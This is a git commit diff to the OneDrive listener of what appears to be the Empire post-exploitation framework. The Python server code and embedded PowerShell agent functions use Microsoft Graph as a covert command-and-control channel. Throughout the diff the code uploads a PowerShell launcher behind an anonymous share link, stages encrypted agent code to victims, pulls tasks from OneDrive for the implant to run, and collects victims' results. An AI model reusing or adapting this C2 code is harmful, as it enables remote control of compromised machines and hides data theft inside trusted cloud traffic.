Add comments, fix function declaration in comms code

3.0-Beta
mr64bit 2018-03-06 14:14:22 -05:00
parent a22102ffa5
commit 159e835b67
1 changed files with 33 additions and 35 deletions

View File

@ -142,6 +142,7 @@ class Listener:
self.uris = [a.strip('/') for a in self.options['DefaultProfile']['Value'].split('|')[0].split(',')]
#If we don't have an OAuth code yet, give the user a URL to get it
if (str(self.options['RefreshToken']['Value']).strip() == '') and (str(self.options['AuthCode']['Value']).strip() == ''):
if (str(self.options['ClientID']['Value']).strip() == ''):
print helpers.color("[!] ClientID needed to generate AuthCode URL!")
@ -322,6 +323,9 @@ class Listener:
else:
return randomized_stager
else:
print helpers.color("[!] Python agent not available for Onedrive")
def generate_comms(self, listener_options, client_id, token, refresh_token, redirect_uri, language=None):
staging_key = listener_options['StagingKey']['Value']
@ -334,9 +338,10 @@ class Listener:
return
if language.lower() == "powershell":
#Function to generate a WebClient object with the required headers
token_manager = """
$Script:TokenObject = @{token="%s";refresh="%s";expires=(Get-Date).addSeconds(3480)};
function script:Get-WebClient {
$script:GetWebClient = {
$wc = New-Object System.Net.WebClient
$wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
@ -360,12 +365,12 @@ class Listener:
$wc.headers.add("User-Agent", $script:UserAgent)
$wc.headers.add("Authorization", "Bearer $($Script:TokenObject.token)")
$Script:Headers.GetEnumerator() | ForEach-Object {$wc.Headers.Add($_.Name, $_.Value)}
return $wc
$wc
}
""" % (token, refresh_token, client_id, redirect_uri)
post_message = """
function script:send-message {
$script:SendMessage = {
param($packets)
if($packets) {
@ -375,7 +380,7 @@ class Listener:
$RoutingPacket = ""
}
$wc = Get-WebClient
$wc = (& $GetWebClient)
$resultsFolder = "%s"
try {
@ -388,7 +393,7 @@ class Listener:
$routingPacket = $data + $routingPacket
}
$wc = Get-WebClient
$wc = (& $GetWebClient)
$null = $wc.UploadData("https://graph.microsoft.com/v1.0/drive/root:/$resultsFolder/$($script:SessionID).txt:/content", "PUT", $RoutingPacket)
$script:missedChecking = 0
$script:lastseen = get-date
@ -403,28 +408,26 @@ class Listener:
get_message = """
$script:lastseen = Get-Date
function script:get-task {
$script:GetTask = {
try {
$wc = Get-WebClient
$wc = (& $GetWebClient)
$TaskingsFolder = "%s"
#If we haven't sent a message recently...
if($script:lastseen.addseconds($script:AgentDelay * 2) -lt (get-date)) {
send-message -packets ""
(& $SendMessage -packets "")
}
$script:MissedCheckins = 0
$data = $wc.DownloadData("https://graph.microsoft.com/v1.0/drive/root:/$TaskingsFolder/$($script:SessionID).txt:/content")
if($data -and ($data.length -ne 0)) {
$wc = Get-WebClient
$wc = (& $GetWebClient)
$null = $wc.UploadString("https://graph.microsoft.com/v1.0/drive/root:/$TaskingsFolder/$($script:SessionID).txt", "DELETE", "")
if([system.text.encoding]::utf8.getString($data) -eq "RESTAGE") {
write-host "Restaging"
Start-Negotiate -T $script:TokenObject.token -SK $SK -PI $PI -UA $UA
}
write-host "returning"
$Data
}
}
@ -479,6 +482,7 @@ class Listener:
def start_server(self, listenerOptions):
# Utility functions to handle auth tasks and initial setup
def get_token(client_id, code):
params = {'client_id': client_id,
'grant_type': 'authorization_code',
@ -542,7 +546,6 @@ class Listener:
def upload_launcher():
ps_launcher = self.mainMenu.stagers.generate_launcher(listener_name, language='powershell', encode=False, userAgent='none', proxy='none', proxyCreds='none')
#py_launcher = self.mainMenu.stagers.generate_launcher(listener_name, language='python', encode=False, userAgent='none', proxy='none', proxyCreds='none')
r = s.put("%s/drive/root:/%s/%s/%s:/content" %(base_url, base_folder, staging_folder, "LAUNCHER-PS.TXT"),
data=ps_launcher, headers={"Content-Type": "text/plain"})
@ -553,10 +556,6 @@ class Listener:
json={"scope": "anonymous", "type": "view"},
headers={"Content-Type": "application/json"})
launcher_url = "https://api.onedrive.com/v1.0/shares/%s/driveitem/content" % r.json()['shareId']
#print helpers.color("[*] PS Launcher URL for %s: %s" % (listener_name, launcher_url))
#r = s.put("%s/drive/root:/%s/%s/%s:/content" %(base_url, base_folder, staging_folder, "STAGE0PY.TXT"),
#data=py_launcher, headers={"Content-Type": "text/plain"})
def upload_stager():
ps_stager = self.generate_stager(listenerOptions=listener_options, language='powershell', token=token['access_token'])
@ -604,7 +603,7 @@ class Listener:
setup_folders()
while True:
#Wait until Empire is aware the listener is running
#Wait until Empire is aware the listener is running, so we can save our refresh token and stager URL
try:
if listener_name in self.mainMenu.listeners.activeListeners.keys():
upload_stager()
@ -617,8 +616,8 @@ class Listener:
while True:
time.sleep(int(poll_interval))
try:
if time.time() > token['expires_at']:
try: #Wrap the whole loop in a try/catch so one error won't kill the listener
if time.time() > token['expires_at']: #Get a new token if the current one has expired
token = renew_token(client_id, token['refresh_token'])
s.headers['Authorization'] = "Bearer " + token['access_token']
dispatcher.send("[*] Refreshed auth token", sender="listeners/onedrive")
@ -628,49 +627,47 @@ class Listener:
token['update'] = False
search = s.get("%s/drive/root:/%s/%s?expand=children" % (base_url, base_folder, staging_folder))
for item in search.json()['children']:
for item in search.json()['children']: #Iterate all items in the staging folder
try:
reg = re.search("^([A-Z0-9]+)_([0-9]).txt", item['name'])
if not reg:
continue
agent_name, stage = reg.groups()
if stage == '1':
print "Stage 1"
dispatcher.send("[*] Downloading %s/%s, %d bytes" % (staging_folder, item['name'], item['size']), sender="listeners/onedrive")
if stage == '1': #Download stage 1, upload stage 2
dispatcher.send("[*] Downloading %s/%s/%s, %d bytes" % (base_folder, staging_folder, item['name'], item['size']), sender="listeners/onedrive")
content = s.get(item['@microsoft.graph.downloadUrl']).content
lang, return_val = self.mainMenu.agents.handle_agent_data(staging_key, content, listener_options)[0]
dispatcher.send("[*] Uploading %s/%s/%s_2.txt, %d bytes" % (base_folder, staging_folder, agent_name, len(return_val)), sender="listeners/onedrive")
s.put("%s/drive/root:/%s/%s/%s_2.txt:/content" % (base_url, base_folder, staging_folder, agent_name), data=return_val)
dispatcher.send("[*] Deleting %s/%s" % (staging_folder, item['name']), sender="listeners/onedrive")
dispatcher.send("[*] Deleting %s/%s/%s" % (base_folder, staging_folder, item['name']), sender="listeners/onedrive")
s.delete("%s/drive/items/%s" % (base_url, item['id']))
if stage == '3':
print "Stage 3"
dispatcher.send("[*] Downloading %s/%s, %d bytes" % (staging_folder, item['name'], item['size']), sender="listeners/onedrive")
if stage == '3': #Download stage 3, upload stage 4 (full agent code)
dispatcher.send("[*] Downloading %s/%s/%s, %d bytes" % (base_folder, staging_folder, item['name'], item['size']), sender="listeners/onedrive")
content = s.get(item['@microsoft.graph.downloadUrl']).content
lang, return_val = self.mainMenu.agents.handle_agent_data(staging_key, content, listener_options)[0]
session_key = self.mainMenu.agents.agents[agent_name]['sessionKey']
agent_token = renew_token(client_id, token['refresh_token'])
agent_token = renew_token(client_id, token['refresh_token']) #Get auth and refresh tokens for the agent to use
agent_code = str(self.generate_agent(listener_options, client_id, agent_token['access_token'],
agent_token['refresh_token'], redirect_uri, lang))
enc_code = encryption.aes_encrypt_then_hmac(session_key, agent_code)
dispatcher.send("[*] Uploading %s/%s/%s_4.txt, %d bytes" % (base_folder, staging_folder, agent_name, len(enc_code)), sender="listeners/onedrive")
s.put("%s/drive/root:/%s/%s/%s_4.txt:/content" % (base_url, base_folder, staging_folder, agent_name), data=enc_code)
dispatcher.send("[*] Deleting %s/%s" % (staging_folder, item['name']), sender="listeners/onedrive")
dispatcher.send("[*] Deleting %s/%s/%s" % (base_folder, staging_folder, item['name']), sender="listeners/onedrive")
s.delete("%s/drive/items/%s" % (base_url, item['id']))
except Exception, e:
print(traceback.format_exc())
agent_ids = self.mainMenu.agents.get_agents_for_listener(listener_name)
for agent_id in agent_ids:
for agent_id in agent_ids: #Upload any tasks for the current agents
task_data = self.mainMenu.agents.handle_agent_request(agent_id, 'powershell', staging_key, update_lastseen=False)
if task_data:
try:
r = s.get("%s/drive/root:/%s/%s/%s.txt:/content" % (base_url, base_folder, taskings_folder, agent_id))
if r.status_code == 200:
if r.status_code == 200: # If there's already something there, download and append the new data
task_data = r.content + task_data
dispatcher.send("[*] Uploading agent tasks for %s, %d bytes" %
@ -681,23 +678,24 @@ class Listener:
dispatcher.send("[!] Error uploading agent tasks for %s, %s" % (agent_id, e))
search = s.get("%s/drive/root:/%s/%s?expand=children" % (base_url, base_folder, results_folder))
for item in search.json()['children']:
for item in search.json()['children']: #For each file in the results folder
try:
agent_id = item['name'].split(".")[0]
if not agent_id in agent_ids:
if not agent_id in agent_ids: #If we don't recognize that agent, upload a message to restage
dispatcher.send("[*] Invalid agent, deleting %s/%s and restaging" % (results_folder, item['name']), sender="listeners/onedrive")
s.put("%s/drive/root:/%s/%s/%s.txt:/content" % (base_url, base_folder, taskings_folder, agent_id), data = "RESTAGE")
s.delete("%s/drive/items/%s" % (base_url, item['id']))
continue
try:
try: #Update the agent's last seen time, from the file timestamp
seen_time = datetime.strptime(item['lastModifiedDateTime'], "%Y-%m-%dT%H:%M:%S.%fZ")
except: #sometimes no ms for some reason...
seen_time = datetime.strptime(item['lastModifiedDateTime'], "%Y-%m-%dT%H:%M:%SZ")
seen_time = helpers.utc_to_local(seen_time)
self.mainMenu.agents.update_agent_lastseen_db(agent_id, seen_time)
if(item['size'] > 1): #only need to download results if there's actually something there
#If the agent is just checking in, the file will only be 1 byte, so no results to fetch
if(item['size'] > 1):
dispatcher.send("[*] Downloading results from %s/%s, %d bytes" % (results_folder, item['name'], item['size']), sender="listeners/onedrive")
r = s.get(item['@microsoft.graph.downloadUrl'])
self.mainMenu.agents.handle_agent_data(staging_key, r.content, listener_options, update_lastseen=False)